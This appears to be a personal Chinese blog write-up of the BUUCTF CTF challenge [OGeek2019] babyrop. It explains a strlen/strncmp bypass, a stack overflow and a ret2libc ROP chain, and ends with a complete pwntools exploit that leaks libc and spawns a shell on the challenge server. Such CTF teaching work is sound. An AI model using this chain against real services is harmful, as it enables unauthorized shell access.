才学习了基本的 ROP 流程,到处找题练,不过也没做出来几道题,以这道 32 位的题作为例题吧。

这道题是 BUUCTF 上 pwn 练习题里的 [OGeek2019] babyrop。

# 代码审计

老规矩先 checksec 一下:

checksec

没有 canary 保护,nx 保护开启排除 shellcode 可能性,FULL RELEO 为地址随机化。

观察主函数,先设定了一个闹铃,到时间就会强制退出程序,解除闹铃的方法在上一篇博客中提到过了,

这道题中闹铃函数依然对我们解题起不到什么干扰作用。

1

主函数的思路大概是:生成一个随机数,把这个随机数作为参数传进 sub_804871F () 函数里,然后将该函数返回的结果作为参数再传进 sub_80487D0 () 里

# sub_804871F()

2

sprintf()函数将生成的随机数 a1 加到了 s [32] 的数组中。这里题目有 read 函数,但是没有栈溢出的可能,读入 buf 之后,读取 buf 的长度,然后比较 buf 和 s 字符串的大小(比较长度为前 v1 个字符)。

此时如果 strncmp()的结果不为 0,则直接退出程序。因此我们第一个目的:使 strncmp 结果为 0

# sub_80487D0()

3

sub_804871F () 函数会将 buf [7] 作为参数传进来,将它的 ASCII 码比对,看到全程序中唯一一个存在栈溢出漏洞可能性的地方。但是必须满足 a1 的 ASCII 码值能达到栈溢出的大小。第二个目的:使 a1 的 ASCII 码值(sub_804871F () 函数里的 buf [7] 的 ASCII 码值尽量大)

# 解题思路

题目中我们最终能利用的一个漏洞即为最终的栈溢出漏洞,而将题目扔进 ida 里找不到 system 函数和 /bin/sh,则明显要构造 ROP 链寻找 libc 解题了。

# First:让 strncmp 结果为 0

2

当 buf 与 s 数组完全相同时,strncmp 结果会为 0,但是 s 为系统生成的随机数,而 buf 是我们输入的数据,两者显然不可能相等。

另一种办法就是使 v1 等于 0,这样 strncmp 的结果仍为 0。

而 v1 是 strlen 函数读取 buf 的长度大小,使他为 0 就很简单了,标准的长度检测绕过,让 buf 数组的第一位为‘\x00’即可。此时程序不会退出。

# Second:让 buf [7] 的值尽可能大

前面讲到,要实现栈溢出,buf [7] 元素的 ASCII 码值必须大于两百四十多才行。

ASCII 码对照表:

https://blog.csdn.net/wz947324/article/details/80076496

可以看出,在扩展的 ASCII 码中才有我们需要的 250 + 的 ASCII 码值,而这些字符里,如果用键盘打出来,比如 “≥” 的 ascii 码值为 242,但是在 vscode 里面可以看到,他的 ASCII 码值并没有 242

4

因此我们需要用到转义字符。

5

\ 为转义字符,而’\xhh‘表示 ASCII 码值与’hh’这个十六进制数相等的符号,例如’\xff’表示 ASCII 码为 255 的符号。

奇怪的是,我把’\xff’和其他 ASCII 码大于 128 的符号放进 vscode,只有用 unsigned __int8 转换出来的是他们的 ASCII 码值,而用 unsigned int 和 int 转换出来的都是负数,而 ASCII 码小于 128 的就不会出现这种情况。

6

我推测是这些编译器还未对扩展的 ASCII 码表进行处理。(或者涉及补码的事吧)

也不想深究了。

所以我们让 buf [7]=’\xff’就行了。综合 first 步,代码如下:

1
2
3
payload = '\x00'+'\xff'*7
r.sendline(payload)
r.recvuntil("Correct\n")

我们还要注意到,有一个让 buf [v5 - 1] = 0 的数,应该考虑该语句会不会影响到 buf [7] 的值。v5 为 read 函数返回的值,参考网上资料:read 函数返回的是读取的字节数。

引起我的思考,“读取的字节数” 包不包含最后的’\x00’结束符呢?用 vscode 验证:

7

答案是包含。那么我上述代码 v5 的值为 9,那么 buf [v5-1] 就未影响到 buf [7] 的值。否则我们可能就要构造

payload = ‘\x00’+’\xff’*8

# Finally:ROP!

选择用 write 函数泄露 libc 地址

1
2
3
4
5
6
7
write_plt = elf.plt["write"]
write_got = elf.got["write"]
main_addr = 0x08048825
payload1 = b'a'*0xe7+b'a'*4+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)
r.sendline(payload1)
write_addr = u32(r.recv(4))
print(hex(write_addr))

# 注意事项

注意点:1.32 位程序传参方式为栈传参,而 64 位程序则是优先通过寄存器传参,届时就需要用 ROPgadget 寻找 gadgets 来进行 ROP 了。

​ 2.32 位程序里 main 函数地址不能用 elf.sym [“main”],(我也不知道为什么,谁让咱菜呢)

​ 3.32 位程序里调用函数后需要先压返回地址,再压参数。

8

​ 4.libc 题目中提供了,为 libc-2-23.so,应该可以直接用,我是把他加进了 Libcsearcher 里然后再用的。

关于 Libcsearcher 是一个寻找 libc 的工具:具体安装教程见百度,使用教程可以在 Libcsearcher/libc-database 里的 README.md 中查看

# 完整 exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *
from LibcSearcher import *
r = remote('node4.buuoj.cn',25501)
context.log_level = 'debug'
elf = ELF('/mnt/hgfs/ubuntu共享文件夹/BUUCTF/pwnn2')
payload = '\x00'+'\xff'*7
r.sendline(payload)
r.recvuntil("Correct\n")
write_plt = elf.plt["write"]
write_got = elf.got["write"]
main_addr = 0x08048825
payload1 = b'a'*0xe7+b'a'*4+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)
r.sendline(payload1)
write_addr = u32(r.recv(4))
print(hex(write_addr))
libc = LibcSearcher("write",write_addr)
libc_base = write_addr - libc.dump("write")
system_addr = libc_base+libc.dump("system")
bin_sh_addr = libc_base+libc.dump("str_bin_sh")
r.sendline(payload)
r.recvuntil("Correct\n")
payload2 = b'a'*0xe7+b'a'*4+p32(system_addr)+p32(0)+p32(bin_sh_addr)
r.sendline(payload2)
r.interactive()


更新于 阅读次数

请我喝[茶]~( ̄▽ ̄)~*

Loτυs 微信支付

微信支付

Loτυs 支付宝

支付宝